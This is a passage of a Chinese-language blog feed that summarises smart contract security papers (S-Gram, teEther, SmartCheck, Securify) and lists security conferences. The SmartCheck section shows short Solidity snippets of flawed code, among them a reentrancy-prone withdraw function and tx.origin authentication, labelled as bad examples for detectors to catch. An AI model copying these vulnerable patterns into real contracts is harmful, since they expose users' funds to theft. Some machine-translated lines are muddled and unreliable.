Prediction</h3><p>S-Gram中的漏洞预测是通过识别合同中的不规则符号序列来实现的,即在S-Gram语言模型中采用低概率W.R.T。给定一个函数f,s-gram将所有可能的符号序列收集到一个sett=t1,t2,····,tm中},并计算每个序列w.r.t.M的概率probm(ti)。基于k的预测大小(考虑的符号序列的最大长度),我们使用预测(t,k,m)来表示t中的k序列,概率最小为m,po十分之一的弱点。在我们的评估中,我们将k作为一个变量,并探讨了k如何影响s-gram的疗效。此外,S-Gram利用几个预先定义的规则来过滤误报。具体地说,对于只包含范围标记的序列t,例如function_begin和function_end,S-Gram直接抛出它。如果t及其子序列t’都被标记为潜在的漏洞,则S-Gram只报告其中一个漏洞。</p><h2 id="三-实验评估"><a class="markdownIt-Anchor" href="#三-实验评估"></a> 三、实验评估</h2><h3 id="dataset-and-setting"><a class="markdownIt-Anchor" href="#dataset-and-setting"></a> Dataset and Setting</h3><p>将S-Gram实现到一个名为Ether的安全审计工具中。S-Gram语言模型是通过kenlm库进行训练的。从Etherscan存储库中收集了S-Gram语言模型的训练集,其中包括43553个部署的开源合同。测试集包含1500个智能合约。评估数据可在https://github.com/njaliu/sgram-artifact上公开获取。同时选择Oyente来确认漏洞,并使用纯n-gram方法(仅考虑lexems)作为与s-gram的基线比较。</p><h3 id="empirical-results"><a class="markdownIt-Anchor" href="#empirical-results"></a> Empirical Results</h3><p>首先研究了安全审计能力w.r.t.不同的s-gram配置。图5显示了Ether在预测大小k=20时发现的实际漏洞数量。对于不同的S-Gram配置,Ether在20个标记的潜在安全问题中平均找到3.32到6.94个漏洞。也就是说,S-Gram能够在实践中生成一组小而有效的候选漏洞。对于六种不同配置的S-Gram模型,即n=2···7,n=5表现最好,n=2表现最差。这可以解释为:Bigram未能捕获智能合约中的大多数统计规律。因此,作者使用5-gram构建了S-Gram语言模型。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201219094607.png" alt="image-20201219094607582" /></p><center>X-axis: value of N. Y-axis: the number of vulnerabilitiesfound by Ether⋆. Prediction size: K = 20.</center><p>进一步探讨预测大小k如何与Ether的漏洞检测能力相关,如图b(左栏)所示。随着预测规模的增加,Ether找到了更多的漏洞。然而,从小到大的K值增长速度变慢。此外,还进行了比较实验来比较S-Gram和基线方法,即基于N-Gram的技术。结果下图所示。具体来说,图a显示了两种技术的审计准确性。在不同的预测尺寸下,S-Gram的预测精度从91.2%提高到94.2%,而基线只能上升到85.3%。此外,S-Gram通过发现169.1%以上的问题超过了基线方法。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201219094807.png" alt="image-20201219094807771" /></p><center>Comparison between S-gram and Baseline.</center><h3 id="cascading-in-depth-analysis-层叠深度分析"><a class="markdownIt-Anchor" href="#cascading-in-depth-analysis-层叠深度分析"></a> Cascading In-depth Analysis 层叠深度分析</h3><p>在评估中,结合了Ether与Reguard,一种设计用于识别Solidity智能合约中的重入漏洞的模糊器。具体来说,我们使用Ether对函数进行排序,并进一步优化Reguard中的事务序列生成。表2总结了Ether的性能。使用Ether,Reguard在所有情况下审核智能合约时都变得更加高效。这五个合约中选择,Ether节省的时间从31.46%到79.49% w.r.t.。</p><center>Performance of cascading analysis with Ether⋆. Time unit: second. Opt: optimization</center><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201219095052.png" alt="image-20201219095052080" /></p><h2 id="四-评价总结"><a class="markdownIt-Anchor" href="#四-评价总结"></a> 四、评价总结</h2><p>1、本文介绍了以太坊智能合约的S-Gram语义安全审计技术。具体来说,S-Gram强调了统计异常很可能表明存在漏洞的观点。</p><p>2、S-Gram首先执行静态语义元数据生成和基于类型的标记化技术,以准备标记序列并构建统计语言模型。接下来,S-Gram枚举并对要分析的合约的所有可能的标记序列进行排序,然后可能性最小的是潜在的弱点。</p>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
</tags>
</entry>
<entry>
<title>teEther: Gnawing at Ethereum to Automatically Exploit Smart Contracts</title>
<link href="/2020/126557f196.html"/>
<url>/2020/126557f196.html</url>
<content type="html"><![CDATA[<h1 id="teether"><a class="markdownIt-Anchor" href="#teether"></a> TEETHER</h1><p>论文题目:(2018-USENIX) <a href="https://www.usenix.org/conference/usenixsecurity18/presentation/krupp">teEther: Gnawing at Ethereum to Automatically Exploit Smart Contracts</a></p><p>论文引用:Krupp J, Rossow C. teether: Gnawing at ethereum to automatically exploit smart contracts[C]//27th {USENIX} Security Symposium ({USENIX} Security 18). 2018: 1317-1333.</p><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><p>作者在通用定义易受攻击合同的定义之后,TEETHER可以在允许仅在给定二进制字节码的情况下进行智能合约的自动漏洞识别和漏洞利用能力。对所有38,757个独特的以太坊合约进行了大规模分析,并在其中815个合约中找到了完全自动化的工作漏洞。<br />他们对于合同漏洞的定义基于以下观察:从一个账户(合同)到另一个账户的价值转移只能在少数明确的条件下进行。 特别是,他们确定了价值转移中必然涉及的四个关键的低级EVM指令:一个用于创建常规事务(CALL),一个用于合同终止(SELFDESTRUCT),两个用于代码注入(CALLCODE) ,DELEGATECALL)。<br />研究人员提出了一种方法,用于在合同中查找易受攻击的执行跟踪,并使用符号执行来自动创建漏洞利用。 具体方法如下为在合同的控制流程图中搜索某些关键路径。具体来说,我们确定了导致关键指令的路径,其中指令的参数可以由攻击者控制。找到路径后,我们利用符号执行将此路径转换为一组约束。 使用约束求解,我们可以推断出攻击者必须执行的事务才能触发漏洞。<br />本文的主要贡献在于:</p><ol><li>基于低级EVM指令提供易受攻击合同的通用定义。</li><li>开发了一个工具TEETHER,它仅从合约的字节码提供端到端漏洞利用。 为此,他们解决了几个特定于EVM的挑战,例如象征性地处理哈希值的新方法</li><li>提供了从以太坊区块链中提取的38,757个独特合约的大规模脆弱性分析。</li></ol><h2 id="二-设计实现"><a class="markdownIt-Anchor" href="#二-设计实现"></a> 二、设计实现</h2><p>TEETHER工具流程如下图所示</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210412122545.png" alt="TEETHER工具流程图" /><br />(1) CFG(控制流程图)的重建<br />TEETHER使用反向切片来迭代地重建CFG。选择未解析的JUMP或JUMPI,并计算其跳转目标的(路径敏感的)后向切片的集合。如果可以找到完整的后向切片,则执行它以计算跳转目标,将新找到的边添加到CFG,并将相应的跳转指令标记为已解决。由于引入新边缘可能导致新连接的子树内可能出现新的反向跳跃切片,因此该子树中的所有JUMP和JUMPI指令再次标记为未解析。重复此过程,直到找不到新的边缘并且所有跳转指令都标记为已解决。</p><p><img src="https://img-blog.csdn.net/20180904135634245?" alt="这里写图片描述" /></p><p>(2) 关键指令<br /> 我们确定了四条关键的EVM指令,想从合约中提取以太网必须至少执行其中一条。 这四条指令分为两类:两条指令导致直接传输,两条指令允许在契约的上下文中执行任意以太网字节码。前两条为CALL和SELFDESTRUCT,后两条为 CALLCODE和DELEGATECALL指令。<br />(3) 路径生成<br /> 为了找到关键路径,TEETHER使用A *探索路径,其中路径的成本被定义为该路径在CFG中遍历的分支数。为了仅关注关键路径,在每个步骤之后,我们检查是否仍然可以从当前路径到达至少一个关键切片的所有剩余指令。如果不能完全到达关键切片,则丢弃对路径的进一步探索<br />(4) 生成约束<br /> 约束生成模块与路径生成同步运行。 一旦找到路径,路径约束生成模块就尝试以符号方式执行路径以便收集一组路径约束。<br />(5) 路径拼接<br /> 将n状态变化路径与关键路径的收集路径约束C收集存储读取R和写入W合并,得到下一变化路径。具体如下</p><p><img src="https://img-blog.csdn.net/20180904135801156?" alt="这里写图片描述" /></p><p>(6) 利用漏洞<br /> 如果找到具有可满足的组合路径约束的路径序列,则该模块将输出导致智能合约利用的事务列表。<br /> 为了证明文中的方法的实用性,研究人员最终对从区块链中提取的38,757个独特合同进行了大规模分析。 TEETHER发现815(2.10%)的漏洞 完全自动化,无需人工干预或手动验证,也不需要合同源代码。 由于代码共享,这使得至少1,731个账户的资金面临风险。 此外,一个案例研究表明,许多潜在的漏洞是由Solidity的设计选择和对EVM执行模型的误解造成的。</p><h2 id="三-总结评价"><a class="markdownIt-Anchor" href="#三-总结评价"></a> 三、总结评价</h2><p>优点:</p><ol><li>TEETHER成功地对使用这些合同的以太坊账户产生了1,564个工作漏洞</li><li>本文提出了一个通用漏洞定义,可以被一个弱的多的攻击者利用,不局限于恶意矿工。有的工具只能检测漏洞,该工具不仅能检测漏洞,还能自动的利用漏洞。</li></ol><p>缺点:</p><ol><li>TEETHER目前只侧重于在检查合约内的漏洞,但事实上,合约可能会调用其他合约产生漏洞。</li><li>搜索漏洞时,文中的评估会将合同的存储初始化为空状态。这使他们能够结合共享相同代码的合约进行分析,并将工具运行次数从784,344减少到38,757次。但是,这是以不精确的结果为代价的。</li><li>文中的漏洞研究只是在本地测试平台中,有些漏洞在真实的以太坊区块链中不存在。</li></ol>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
</tags>
</entry>
<entry>
<title>智能合约A类会议整理</title>
<link href="/2020/124cc0145f.html"/>
<url>/2020/124cc0145f.html</url>
<content type="html"><![CDATA[<h1 id="会议整理"><a class="markdownIt-Anchor" href="#会议整理"></a> 会议整理</h1><p>主要包含智能合约A类会议</p><table><thead><tr><th>会议简称</th><th>会议全称</th><th>出版社</th><th>网址</th></tr></thead><tbody><tr><td>USENIX Security’[届数]</td><td>Usenix Security Symposium</td><td>USENIX Association</td><td><a href="https://www.usenix.org/conferences">USENIX</a></td></tr><tr><td>ASE [届数]</td><td>International Conference on Automated Software Engineering</td><td>IEEE/ACM</td><td>[ASE 2020 ](<a href="https://conf.researchr.org/track/ase-2020/ase-2020-papers?#event-overview">ASE 2020 - Research Papers - ASE 2020 (researchr.org)</a>)</td></tr><tr><td>ISSTA [届数]</td><td>International Symposium on Software Testing and Analysis</td><td>ACM</td><td><a href="https://conf.researchr.org/track/issta-2020/issta-2020-papers#event-overview">ISSTA 2020</a></td></tr><tr><td>ICSE [届数]</td><td>International Conference on Software Engineering</td><td>ACM/IEEE</td><td><a href="https://2020.icse-conferences.org/track/icse-2020-papers?#event-overview">ICSE 2020 </a></td></tr><tr><td>CCS [届数]</td><td>ACM Conference on Computer and Communications Security</td><td>ACM</td><td><a href="https://dblp.uni-trier.de/db/conf/ccs/index.html">CCS </a></td></tr><tr><td>S&P [届数]</td><td>IEEE Symposium on Security and Privacy</td><td>IEEE</td><td><a href="https://dblp.uni-trier.de/db/conf/sp/index.html">S&P</a></td></tr></tbody></table><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210412173054.jpeg" alt="Smart contracts - Simply Explained - YouTube" /></p>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
</tags>
</entry>
<entry>
<title>Smartcheck: Static analysis of ethereum smart contracts</title>
<link href="/2020/11fdfc0192.html"/>
<url>/2020/11fdfc0192.html</url>
<content type="html"><![CDATA[<h1 id="smartcheck-static-analysis-of-ethereum-smart-contracts"><a class="markdownIt-Anchor" href="#smartcheck-static-analysis-of-ethereum-smart-contracts"></a> Smartcheck: Static analysis of ethereum smart contracts</h1><p>论文题目:(2018-WETSEB)<a href="https://dl.acm.org/doi/abs/10.1145/3194113.3194115">Smartcheck: Static analysis of ethereum smart contracts</a>——以太坊智能合约的静态分析</p><p>论文引用:Tikhomirov S, Voskresenskaya E, Ivanitskiy I, et al. Smartcheck: Static analysis of ethereum smart contracts[C]//Proceedings of the 1st International Workshop on Emerging Trends in Software Engineering for Blockchain. 2018: 9-16.</p><p>工具开源: <a href="https://github.com/smartdec/smartcheck">smartdec/smartcheck: SmartCheck </a></p><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><p>提供了solidity的一个全面代码问题分类。此外,还完善了一个用于检测他们的扩展静态分析工具SmartCheck。</p><p>SmartCheck 将 Solidity代码转化为基于xml的中间表示式,然后根据XPath模式对其进行对比检查。通过一个现实世界中的大合约数据样本对此工具进行了评估,之后将其结果和人工审计下的三个合约结果进行比较。</p><h3 id="security-issues"><a class="markdownIt-Anchor" href="#security-issues"></a> Security issues</h3><h4 id="balance-equality"><a class="markdownIt-Anchor" href="#balance-equality"></a> Balance equality</h4><p>避免对余额进行严格的相等检查。攻击者可以通过挖矿或者自毁向任意账户发送ether。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">if</span> (<span class="hljs-built_in">this</span>.balance == <span class="hljs-number">42</span> ether) { <span class="hljs-comment">/* ... */</span>} <span class="hljs-comment">// bad</span><br><span class="hljs-keyword">if</span> (<span class="hljs-built_in">this</span>.balance >= <span class="hljs-number">42</span> ether) { <span class="hljs-comment">/* ... */</span>} <span class="hljs-comment">// good</span><br></code></pre></td></tr></table></figure><h4 id="unchecked-external-call"><a class="markdownIt-Anchor" href="#unchecked-external-call"></a> Unchecked external call</h4><p>无检查的外部调用:当发送ether时,检查返回值并处理发生的错误才是正确的做法。推荐的方法是用transfer来发送ether。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs javascript">addr.send (<span class="hljs-number">42</span> ether); <span class="hljs-comment">// bad</span><br><span class="hljs-keyword">if</span> (! addr.send (<span class="hljs-number">42</span> ether)) revert; <span class="hljs-comment">// better</span><br>addr.transfer (<span class="hljs-number">42</span> ether); <span class="hljs-comment">// good</span><br></code></pre></td></tr></table></figure><h4 id="dos-by-external-contract"><a class="markdownIt-Anchor" href="#dos-by-external-contract"></a> DoS by external contract</h4><p>条件语句不应该依赖于外部调用。如不这样,被调用方也许会永远被调用失败,以至于组织调用方完成全部执行。例子如下:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">dos</span>(<span class="hljs-params">address oracleAddr</span>) <span class="hljs-title">public</span> </span>{<br>badOracle = Oracle(oracleAddr);<br><span class="hljs-keyword">if</span> (badOracle.answer () < <span class="hljs-number">42</span>) { revert; }<br><span class="hljs-comment">// ...</span><br>}<br></code></pre></td></tr></table></figure><h4 id="send-instead-of-transfer"><a class="markdownIt-Anchor" href="#send-instead-of-transfer"></a> send instead of transfer</h4><p>完成ether支付的推荐方法是send</p><p>Re-entrancy</p><p>重入漏洞</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs javascript">pragma solidity <span class="hljs-number">0.4</span><span class="hljs-number">.19</span>;<br>contract Fund {<br>mapping(<span class="hljs-function"><span class="hljs-params">address</span> =></span> uint) balances;<br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span> (<span class="hljs-params"></span>) <span class="hljs-title">public</span> </span>{<br><span class="hljs-keyword">if</span> (msg.sender.call.value(balances[msg.sender ])())<br>balances[msg.sender] = <span class="hljs-number">0</span>;<br>}<br>}<br></code></pre></td></tr></table></figure><h4 id="malicious-libraries"><a class="markdownIt-Anchor" href="#malicious-libraries"></a> Malicious libraries</h4><p>恶意的库:第三方库可能是恶意的。避免外部依赖或确保第三方代码只包含预期的功能。该模式只是检测library关键字</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><br></code></pre></td></tr></table></figure><h4 id="using-txorigin"><a class="markdownIt-Anchor" href="#using-txorigin"></a> Using tx.origin</h4><p>合约可以互相调用公共方法。Tx.origin是在调用链中的第一个账户。Msg.sender是中间的调用方。举个例子,在一个A->B->C的这样一个调用链中,从C的角度来看,tx.origin 是A,msg.sender 是B。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs javascript">pragma solidity <span class="hljs-number">0.4</span><span class="hljs-number">.19</span>;<br>contract TxWallet {<br>address private owner;<br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">TxWallet</span> (<span class="hljs-params"></span>) </span>{ owner = msg.sender; }<br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transferTo</span>(<span class="hljs-params">address dest , uint amount</span>) <span class="hljs-title">public</span></span><br><span class="hljs-function"></span>{<br><span class="hljs-built_in">require</span>(tx.origin == owner); <span class="hljs-comment">// authentication</span><br>dest.transfer(amount);<br>}<br>}<br></code></pre></td></tr></table></figure><h4 id="transfer-forwards-all-gas"><a class="markdownIt-Anchor" href="#transfer-forwards-all-gas"></a> Transfer forwards all gas.</h4><p>Solidity提供了许多的方法来转移ether。推荐的方法是使用addr.transfer(x),这样只会提供给被调用方2300gas的补贴。</p><h3 id="functional-issues"><a class="markdownIt-Anchor" href="#functional-issues"></a> Functional issues</h3><h4 id="integer-division"><a class="markdownIt-Anchor" href="#integer-division"></a> Integer division</h4><p>整数除法:Solidity不支持浮点类型和十进制类型。整数除法的商是采用四舍五入的方法获取的。在计算ether或者令牌数量的时候特别要注意。该模式在分子和分母都为数字文字的地方检查除,也就是“/”符号。</p><h4 id="locked-money"><a class="markdownIt-Anchor" href="#locked-money"></a> Locked money.</h4><p>加锁的钱:为接受ether而编写的合约应当同时完善一个撤回ether的方法,即,至少一次的transfer,send,call.value。该模式检测包含支付功能但不包含上述取款功能的合约。</p><h4 id="unchecked-math"><a class="markdownIt-Anchor" href="#unchecked-math"></a> Unchecked math</h4><p>无检查的数学计算:solidity易出现整数的上溢和下溢。上溢将导致无法预料的、可能被恶意账户利用导致资金损失的影响。使用SafeMath library检查上溢。该模式能够检查不包含在条件语句中的算数运算“+”和“-”。由于假阳性率较高,这一条规则被暂时在第四节测试时被取消了。</p><h4 id="timestamp-dependence"><a class="markdownIt-Anchor" href="#timestamp-dependence"></a> Timestamp dependence.</h4><p>时间戳的依赖:矿工可以操纵环境变量并且如果有机会从中获利的话有可能会这么做。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">if</span> (now % <span class="hljs-number">2</span> == <span class="hljs-number">0</span>) winner = pl1; <span class="hljs-keyword">else</span> winner = pl2;<br></code></pre></td></tr></table></figure><h4 id="unsafe-type-inference"><a class="markdownIt-Anchor" href="#unsafe-type-inference"></a> Unsafe type inference</h4><p>不安全的类型推断。Solidity支持类型推断:var i = 42中的i类型;是能够存储右侧值(uint8)的最小整数类型。类似如下循环:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i < array.length; i++) { <span class="hljs-comment">/* ... */</span> }<br></code></pre></td></tr></table></figure><p>该类型的i是unit8,如果array.length的长度超过了256就会出现上溢的问题。我们需要像下例一般在声明整数变量时准确定义其类型:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">for</span> (uint256 i = <span class="hljs-number">0</span>; i < array.length; i++) { <span class="hljs-comment">/*...*/</span> }<br></code></pre></td></tr></table></figure><h3 id="operational-issues"><a class="markdownIt-Anchor" href="#operational-issues"></a> Operational issues</h3><h4 id="byte-array"><a class="markdownIt-Anchor" href="#byte-array"></a> Byte array</h4><p>字节数组:为了更低的gas消耗,我们会尽量采用字节而不是字节数组。该模式检测字节数组的构造。</p><h4 id="costly-loop"><a class="markdownIt-Anchor" href="#costly-loop"></a> Costly loop</h4><p>高代价的循环:Ethereum是一个资源有限党的环境。每一个计算步骤的价格都要比集中式云提供商高几个数量级。此外,Ethereum 的矿工对一个区块的gas小号都有个限制。在下述例子中,如果array.length足够大,也就是函数超过了快gas的限制,调用他的事务将永远不会被确认:</p><figure class="highlight angelscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs angelscript"><span class="hljs-keyword">for</span> (<span class="hljs-built_in">uint</span>256 i = <span class="hljs-number">0</span>; i < <span class="hljs-built_in">array</span>.length; i++) { costlyF (); }<br></code></pre></td></tr></table></figure><h3 id="developmental-issues"><a class="markdownIt-Anchor" href="#developmental-issues"></a> Developmental issues</h3><h4 id="token-api-violation"><a class="markdownIt-Anchor" href="#token-api-violation"></a> Token API violation</h4><p>违反令牌API:ERC20是实现令牌的实际标准API。Exchanges和其他第三方服务可能难以集成不符合他的令牌。对于某些返回bool的ERC20函数,不建议在期中抛出异常。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transferFrom</span>(<span class="hljs-params">address _spender , uint _value</span>)</span><br><span class="hljs-function"><span class="hljs-title">returns</span> (<span class="hljs-params">bool success</span>) </span>{<br><span class="hljs-built_in">require</span> (_value < <span class="hljs-number">20</span> wei);<br><span class="hljs-comment">// ...</span><br>}<br></code></pre></td></tr></table></figure><h4 id="compiler-version-not-fixed"><a class="markdownIt-Anchor" href="#compiler-version-not-fixed"></a> Compiler version not fixed.</h4><p>变动的编译器版本:Solidity源文件可以表明编译器的版本</p><ul><li>建议遵循后一个示例,因为将来的编译器版本可能以开发人员没有预见到的方式处理某些语言结构。该模式检测pragma指令中的版本操作符。</li></ul><p>private modifier</p><p>私有化转换:与普遍的认知相反,私有化转换不是使一个变量不可见。挖矿者可以访问所有合约的代码和数据。开发者必须承认的是Ethereum存在着缺乏隐私的问题。该模式检测带有私有修饰符的状态变量声明。</p><h4 id="redundant-fallback-function"><a class="markdownIt-Anchor" href="#redundant-fallback-function"></a> Redundant fallback function.</h4><p>冗余的回退功能:合同应该拒绝未预期的付款。在solidity 0.4.0之前,这项工作都是通过手动完成的:</p><ul><li>从solidity0.4.0开始,从solid 0.4.0开始,没有回退功能的契约将自动恢复支付,从而使上面的代码变得多余。该模式检测所描述的构造(仅当pragma指令指示编译器版本不低于0.4.0时)。</li></ul><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) <span class="hljs-title">payable</span> </span>{ <span class="hljs-keyword">throw</span>; }<br></code></pre></td></tr></table></figure><h4 id="style-guide-violation"><a class="markdownIt-Anchor" href="#style-guide-violation"></a> Style guide violation</h4><p>违反风格规范:在solidity中,function9和事件的名称通常都以小写和大写字母开头</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Foo</span>(<span class="hljs-params"></span>)</span>; <span class="hljs-comment">// bad</span><br>event logFoo (); <span class="hljs-comment">// bad</span><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">foo</span>(<span class="hljs-params"></span>)</span>; <span class="hljs-comment">// good</span><br>event LogFoo (); <span class="hljs-comment">// good</span><br></code></pre></td></tr></table></figure><p>Implicit visibility level</p><p>隐式能见度水平:在稳定性中,默认的函数可见性级别是public。显式定义函数可见性以防止混淆。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">foo</span>(<span class="hljs-params"></span>) </span>{ <span class="hljs-comment">/*...*/</span> } <span class="hljs-comment">// bad</span><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">foo</span>(<span class="hljs-params"></span>) <span class="hljs-title">public</span> </span>{ <span class="hljs-comment">/* ... */</span> } <span class="hljs-comment">// good</span><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">bar</span>(<span class="hljs-params"></span>) <span class="hljs-title">private</span> </span>{ <span class="hljs-comment">/* ... */</span> } <span class="hljs-comment">// good</span><br></code></pre></td></tr></table></figure><h2 id="二-设计实现"><a class="markdownIt-Anchor" href="#二-设计实现"></a> 二、设计实现</h2><p>使用的是一款java系的静态分析Ethereum智能合约的工具。</p><p>SmartCheck在可靠的源代码上运行词法和句法分析,它使用了ANTLR和一套Solidity自定义的语法来生成一棵XML解析树。</p><p>通过在IR上使用XPath [xpa]查询来检测漏洞模式。因此,SmartCheck提供了全面的覆盖:分析的代码被完全转换为IR,所有元素都可以通过XPath匹配获得。行号作为XML属性存储,并帮助在源代码中本地化结果。当实现新的分析方法时,IR属性可以通过附加信息得到丰富。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201126195029.png" alt="image-20201126195029448" /></p><center>Figure 1: Parse tree for the Balance equality code example</center><h2 id="三-实验评估"><a class="markdownIt-Anchor" href="#三-实验评估"></a> 三、实验评估</h2><p>该工具同时也可通过添加指定语法和数据库扩展支持其他智能合约。</p><p>在具体实验中,我们将SmartCheck和另外三种静态检测工具Oyente、Remix和Security进行了比较。将一个真的检测结果看作需要解决的问题。工具发现的所有问题都手工标记为true positive (TP)或false positive (FP)。</p><p>对于这四个工具(Oyente、Remix、Securify和SmartCheck),每个工具的假阴性(false negative, FN)都是这个工具没有检测到的真实结果。对于每个工具</p><ol><li>错误发现率FDR:$FDR = \frac{FP}{TP + FP} $,是该工具的FPs数量除以该工具报告的所有问题的数量</li><li>假阴性率(False negative rate, FNR):$FNR = \frac{FN}{TP + FN} $,是该工具的FN个数除以所有真实结果(由任何工具或手动发现)的个数</li></ol><p>其中对于3个合约Genesis、Hive和Populous的测试结果如下所示:</p><center>Table 2:Tools results on the three projects and overall</center><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201126195353.png" alt="image-20201126195353156" /></p><h2 id="四-总结评价"><a class="markdownIt-Anchor" href="#四-总结评价"></a> 四、总结评价</h2><p>主要贡献;</p><ul><li>对于在solidity中已知的可靠代码问题进行了全面的概述和分类</li><li>实现了一个有效的静态分析工具SmartCheck</li></ul><p>一些不足:</p><ul><li>SmartCheck也有其自身的局限性,当检测一些错误时需要更加复杂的技术,例如污染分析或甚至人为审核。</li></ul>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
</tags>
</entry>
<entry>
<title>Securify: Practical Security Analysis of Smart Contracts</title>
<link href="/2020/111f0a6cc4.html"/>
<url>/2020/111f0a6cc4.html</url>
<content type="html"><![CDATA[<h1 id="securify-practical-security-analysis-of-smart-contracts"><a class="markdownIt-Anchor" href="#securify-practical-security-analysis-of-smart-contracts"></a> Securify: Practical security analysis of smart contracts</h1><p>论文题目:(2018-CCS) <a href="https://dl.acm.org/doi/abs/10.1145/3243734.3243780">Securify: Practical security analysis of smart contracts</a></p><p>论文引用:Tsankov P, Dan A, Drachsler-Cohen D, et al. Securify: Practical security analysis of smart contracts[C]//Proceedings of the 2018 ACM SIGSAC Conference on Computer and Communications Security. 2018: 67-82.</p><p>代码开源: <a href="https://github.com/crytic/slither">crytic/slither</a></p><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><p>Securify是一个全自动化,并且可扩展的分析智能合约,检测漏洞的工具。Securify基于模式匹配。其能在给定特征的情况下分析智能合约是否存在漏洞。</p><p>Securify 的分析针对字节码(bytecode),即智能合约源代码(solidity语言)被编译后的结果。通过对bytecode的分析,得出dependency graph,进而得到合约的语义信息。之后根据给定的特征分析合约语义信息是否满足遵循或违背这些特征,判断合约是否存在漏洞。</p><p>Securify的输入为智能合约的bytecode或源代码(被编译成bytecode输入工具)以及一系列模式,模式采用domain-specific language(DSL,领域特定语言)描述。输出为具体出现漏洞的位置。用户可以自己书写模式,因此Securify有可扩展性。</p><h2 id="二-motivation-examples"><a class="markdownIt-Anchor" href="#二-motivation-examples"></a> 二、MOTIVATION EXAMPLES</h2><h3 id="stealing-ether"><a class="markdownIt-Anchor" href="#stealing-ether"></a> Stealing Ether</h3><p>以下是一个存在漏洞的具体合约。红色标明的部分为漏洞存在的地方</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201126192221.png" alt="image-20201126192221139" /></p><center>Figure 3:A vulnerable wallet that allows any user to withdrawall ether stored in it</center> <p>由于函数默认的访问限制为public,因此initWallet()函数默认可以被外部调用(向该合约发送交易),导致任何人都可以更改钱包的所有者。</p><p>Securify的模式有两大类,compliance & violation;对应上述的合约,Securify可以匹配出violation pattern为owner的赋值不依赖于交易的发送者。那么对应的安全特征为owner的写入是必须受限的。</p><h3 id="frozen-funds"><a class="markdownIt-Anchor" href="#frozen-funds"></a> Frozen 